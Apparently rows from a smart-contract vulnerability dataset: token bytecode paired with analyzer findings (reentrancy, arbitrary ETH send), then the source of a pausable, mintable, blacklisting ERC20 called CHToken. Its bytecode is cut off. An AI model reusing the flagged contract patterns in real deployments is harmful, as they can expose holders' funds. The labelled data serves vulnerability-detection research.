0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b4114610119578063a9059cbb146102da578063c3c8cd80146102fa578063c9567bf91461030f578063dd62ed3e1461032457600080fd5b80636fc3eaec1461026857806370a082311461027d578063715018a61461029d5780638da5cb5b146102b257600080fd5b806323b872dd116100dc57806323b872dd146101d75780632ab30838146101f7578063313ce5671461020c578063537df3b6146102285780635932ead11461024857600080fd5b806306fdde031461011957806308aad1f11461015c578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082018252600b81526a36b0bc34a227a3a2a627a760a91b60208201529051610153919061147c565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611334565b61036a565b005b34801561018a57600080fd5b5061019e6101993660046113e8565b6103ae565b6040519015158152602001610153565b3480156101ba57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610153565b3480156101e357600080fd5b5061019e6101f23660046113a7565b6103c5565b34801561020357600080fd5b5061017c61042e565b34801561021857600080fd5b5060405160098152602001610153565b34801561023457600080fd5b5061017c610243366004611334565b610473565b34801561025457600080fd5b5061017c610263366004611414565b6104b4565b34801561027457600080fd5b5061017c6104fc565b34801561028957600080fd5b506101c9610298366004611334565b610529565b3480156102a957600080fd5b5061017c61054b565b3480156102be57600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102e657600080fd5b5061019e6102f53660046113e8565b6105bf565b34801561030657600080fd5b5061017c6105cc565b34801561031b57600080fd5b5061017c610602565b34801561033057600080fd5b506101c961033f36600461136e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600e546001600160a01b0316336001600160a01b03161461038a57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103bb3384846109d0565b5060015b92915050565b60006103d2848484610af4565b610424843361041f85604051806060016040528060288152602001611637602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c46565b6109d0565b5060019392505050565b6000546001600160a01b031633146104615760405162461bcd60e51b8152600401610458906114d1565b60405180910390fd5b6b033b2e3c9fd0803ce8000000601155565b600e546001600160a01b0316336001600160a01b03161461049357600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104de5760405162461bcd60e51b8152600401610458906114d1565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461051c57600080fd5b4761052681610c80565b50565b6001600160a01b0381166000908152600260205260408120546103bf90610cba565b6000546001600160a01b031633146105755760405162461bcd60e51b8152600401610458906114d1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103bb338484610af4565b600e546001600160a01b0316336001600160a01b0316146105ec57600080fd5b60006105f730610529565b905061052681610d3e565b6000546001600160a01b0316331461062c5760405162461bcd60e51b8152600401610458906114d1565b601054600160a01b900460ff16156106865760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610458565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c630826b033b2e3c9fd0803ce80000006109d0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ff57600080fd5b505afa158015610713573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107379190611351565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077f57600080fd5b505afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b79190611351565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ff57600080fd5b505af1158015610813573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108379190611351565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061086781610529565b60008061087c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108df57600080fd5b505af11580156108f3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610918919061144e565b5050601080546b033b2e3c9fd0803ce800000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611431565b5050565b6001600160a01b038316610a325760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610a935760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b6001600160a01b03831660009081526006602052604090205460ff1615610b7c57600080fd5b6001600160a01b0383163014610c1557600a54600c55600b54600d556000610ba330610529565b601054909150600160a81b900460ff16158015610bce57506010546001600160a01b03858116911614155b8015610be35750601054600160b01b900460ff165b15610c13578015610bf757610bf781610d3e565b4767016345785d8a0000811115610c1157610c1147610c80565b505b505b6000546001600160a01b0384811691161415610c36576000600d819055600c555b610c41838383610ec7565b505050565b60008184841115610c6a5760405162461bcd60e51b8152600401610458919061147c565b506000610c7784866115d0565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109cc573d6000803e3d6000fd5b6000600854821115610d215760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610458565b6000610d2b610ed2565b9050610d378382610ef5565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8657610d866115fd565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dda57600080fd5b505afa158015610dee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e129190611351565b81600181518110610e2557610e256115fd565b6001600160a01b039283166020918202929092010152600f54610e4b91309116846109d0565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e84908590600090869030904290600401611506565b600060405180830381600087803b158015610e9e57600080fd5b505af1158015610eb2573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c41838383610f37565b6000806000610edf61102e565b9092509050610eee8282610ef5565b9250505090565b6000610d3783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611076565b600080600080600080610f49876110a4565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f7b9087611101565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610faa9086611143565b6001600160a01b038916600090815260026020526040902055610fcc816111a2565b610fd684836111ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161101b91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce800000061104d8282610ef5565b82101561106d575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836110975760405162461bcd60e51b8152600401610458919061147c565b506000610c77848661158f565b60008060008060008060008060006110c18a600c54600d54611210565b92509250925060006110d1610ed2565b905060008060006110e48e878787611265565b919e509c509a509598509396509194505050505091939550919395565b6000610d3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c46565b6000806111508385611577565b905083811015610d375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b60006111ac610ed2565b905060006111ba83836112b5565b306000908152600260205260409020549091506111d79082611143565b30600090815260026020526040902055505050565b6008546111f99083611101565b6008556009546112099082611143565b6009555050565b600080808061122a606461122489896112b5565b90610ef5565b9050600061123d60646112248a896112b5565b905060006112558261124f8b86611101565b90611101565b9992985090965090945050505050565b600080808061127488866112b5565b9050600061128288876112b5565b9050600061129088886112b5565b905060006112a28261124f8686611101565b939b939a50919850919650505050505050565b6000826112c4575060006103bf565b60006112d083856115b1565b9050826112dd858361158f565b14610d375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b60006020828403121561134657600080fd5b8135610d3781611613565b60006020828403121561136357600080fd5b8151610d3781611613565b6000806040838503121561138157600080fd5b823561138c81611613565b9150602083013561139c81611613565b809150509250929050565b6000806000606084860312156113bc57600080fd5b83356113c781611613565b925060208401356113d781611613565b929592945050506040919091013590565b600080604083850312156113fb57600080fd5b823561140681611613565b946020939093013593505050565b60006020828403121561142657600080fd5b8135610d3781611628565b60006020828403121561144357600080fd5b8151610d3781611628565b60008060006060848603121561146357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114a95785810183015185820160400152820161148d565b818111156114bb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115565784516001600160a01b031683529383019391830191600101611531565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561158a5761158a6115e7565b500190565b6000826115ac57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115cb576115cb6115e7565b500290565b6000828210156115e2576115e26115e7565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461052657600080fd5b801515811461052657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf4658c16852924b4af1ec6c38cd386fe18d79c1c736d3592fb1ab016b16879b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,280 |
0x2264e9c2087de11403eea93850b7be368db228e7
|
/**
*Submitted for verification at Etherscan.io on 2021-08-09
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Ownable {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyOwner {
_addPauser(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
event Issue(address indexed account, uint256 amount);
event Redeem(address indexed account, uint256 value);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _issue(address account, uint256 amount) internal {
require(account != address(0), "CoinFactory: issue to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
emit Issue(account, amount);
}
function _redeem(address account, uint256 value) internal {
require(account != address(0), "CoinFactory: redeem from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
emit Redeem(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract CoinFactoryAdminRole is Ownable {
using Roles for Roles.Role;
event CoinFactoryAdminRoleAdded(address indexed account);
event CoinFactoryAdminRoleRemoved(address indexed account);
Roles.Role private _coinFactoryAdmins;
constructor () internal {
_addCoinFactoryAdmin(msg.sender);
}
modifier onlyCoinFactoryAdmin() {
require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role");
_;
}
function isCoinFactoryAdmin(address account) public view returns (bool) {
return _coinFactoryAdmins.has(account);
}
function addCoinFactoryAdmin(address account) public onlyOwner {
_addCoinFactoryAdmin(account);
}
function removeCoinFactoryAdmin(address account) public onlyOwner {
_removeCoinFactoryAdmin(account);
}
function renounceCoinFactoryAdmin() public {
_removeCoinFactoryAdmin(msg.sender);
}
function _addCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.add(account);
emit CoinFactoryAdminRoleAdded(account);
}
function _removeCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.remove(account);
emit CoinFactoryAdminRoleRemoved(account);
}
}
contract CoinFactory is ERC20, CoinFactoryAdminRole {
function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_issue(account, amount);
return true;
}
function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_redeem(account, amount);
return true;
}
}
contract BlacklistAdminRole is Ownable {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _blacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role");
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _blacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyOwner {
_addBlacklistAdmin(account);
}
function removeBlacklistAdmin(address account) public onlyOwner {
_removeBlacklistAdmin(account);
}
function renounceBlacklistAdmin() public {
_removeBlacklistAdmin(msg.sender);
}
function _addBlacklistAdmin(address account) internal {
_blacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_blacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract Blacklist is ERC20, BlacklistAdminRole {
mapping (address => bool) private _blacklist;
event BlacklistAdded(address indexed account);
event BlacklistRemoved(address indexed account);
function isBlacklist(address account) public view returns (bool) {
return _blacklist[account];
}
function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_addBlacklist(accounts[i]);
}
}
function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_removeBlacklist(accounts[i]);
}
}
function _addBlacklist(address account) internal {
_blacklist[account] = true;
emit BlacklistAdded(account);
}
function _removeBlacklist(address account) internal {
_blacklist[account] = false;
emit BlacklistRemoved(account);
}
}
contract CHToken is ERC20, ERC20Pausable, CoinFactory, Blacklist {
string public name;
string public symbol;
uint8 public decimals;
uint256 private _totalSupply;
constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
_totalSupply = 0;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transfer");
require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist");
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transferFrom");
require(!isBlacklist(from), "CHToken: from in blacklist can't transfer");
require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist");
return super.transferFrom(from, to, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636ef8d66d1161011a57806395d89b41116100ad578063cf7d6db71161007c578063cf7d6db714610b19578063d3ce790514610b75578063dd62ed3e14610bb9578063e5c855c914610c31578063f2fde38b14610c7557610206565b806395d89b4114610986578063998b479214610a09578063a457c2d714610a4d578063a9059cbb14610ab357610206565b80638456cb59116100e95780638456cb59146108aa578063867904b4146108b45780638da5cb5b1461091a5780638f32d59b1461096457610206565b80636ef8d66d1461073457806370a082311461073e5780637911ef9d1461079657806382dc1ec41461086657610206565b806332068e911161019d5780633f4ba83a1161016c5780633f4ba83a1461062457806346fbf68e1461062e5780635c975abb1461068a5780635e612bab146106ac5780636b2c0f55146106f057610206565b806332068e9114610488578063333e99db1461049257806339509351146104ee5780633d2cc56c1461055457610206565b80631e9a6950116101d95780631e9a69501461036e57806323b872dd146103d4578063243f24731461045a578063313ce5671461046457610206565b806306fdde031461020b578063095ea7b31461028e57806316d2e650146102f457806318160ddd14610350575b600080fd5b610213610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dee565b604051808215151515815260200191505060405180910390f35b610358610e0b565b6040518082815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610440600480360360608110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e89565b604051808215151515815260200191505060405180910390f35b61046261103f565b005b61046c61104a565b604051808260ff1660ff16815260200191505060405180910390f35b61049061105d565b005b6104d4600480360360208110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b604051808215151515815260200191505060405180910390f35b61053a6004803603604081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110be565b604051808215151515815260200191505060405180910390f35b61060a6004803603602081101561056a57600080fd5b810190808035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611155565b604051808215151515815260200191505060405180910390f35b61062c6111f3565b005b6106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611353565b604051808215151515815260200191505060405180910390f35b610692611370565b604051808215151515815260200191505060405180910390f35b6106ee600480360360208110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b005b6107326004803603602081101561070657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b61073c611493565b005b6107806004803603602081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149e565b6040518082815260200191505060405180910390f35b61084c600480360360208110156107ac57600080fd5b81019080803590602001906401000000008111156107c957600080fd5b8201836020820111156107db57600080fd5b803590602001918460208302840111640100000000831117156107fd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506114e7565b604051808215151515815260200191505060405180910390f35b6108a86004803603602081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b005b6108b261160b565b005b610900600480360360408110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b6109226117e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096c611809565b604051808215151515815260200191505060405180910390f35b61098e611860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ce5780820151818401526020810190506109b3565b50505050905090810190601f1680156109fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4b60048036036020811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b610a9960048036036040811015610a6357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b610aff60048036036040811015610ac957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1b565b604051808215151515815260200191505060405180910390f35b610b5b60048036036020811015610b2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b70565b604051808215151515815260200191505060405180910390f35b610bb760048036036020811015610b8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8d565b005b610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c13565b6040518082815260200191505060405180910390f35b610c7360048036036020811015610c4757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9a565b005b610cb760048036036020811015610c8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610de68383611da6565b905092915050565b6000610e04826007611dbd90919063ffffffff16565b9050919050565b6000600354905090565b6000610e2033611b70565b610e75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132ef6044913960600191505060405180910390fd5b610e7f8383611e9b565b6001905092915050565b6000600560009054906101000a900460ff1615610f0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f1733611068565b15610f6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613280602f913960400191505060405180910390fd5b610f7684611068565b15610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806133b66029913960400191505060405180910390fd5b610fd583611068565b1561102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133766040913960400191505060405180910390fd5b611036848484612089565b90509392505050565b61104833612122565b565b600b60009054906101000a900460ff1681565b6110663361217c565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900460ff1615611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d83836121d6565b905092915050565b600061116033610dee565b6111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132af6040913960400191505060405180910390fd5b60008090505b82518110156111ed576111e08382815181106111d357fe5b602002602001015161227b565b80806001019150506111bb565b50919050565b6111fc33611353565b611251576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff166112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611369826004611dbd90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b61138f611809565b611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61140a81612122565b50565b611415611809565b611487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149081612319565b50565b61149c33612319565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006114f233610dee565b611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132af6040913960400191505060405180910390fd5b60008090505b825181101561157f5761157283828151811061156557fe5b6020026020010151612373565b808060010191505061154d565b50919050565b61158d611809565b6115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c65722